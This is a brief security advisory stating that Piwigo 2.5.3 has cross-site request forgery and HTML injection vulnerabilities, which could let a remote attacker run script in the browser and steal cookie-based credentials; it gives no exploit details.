Piwigo is prone to cross-site request-forgery and HTML-injection vulnerabilities.
Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, execute arbitrary script or HTML code within the context of the browser, and steal cookie-based authentication credentials. Other attacks are also possible.
Piwigo 2.5.3 is vulnerable; other versions may also be affected.
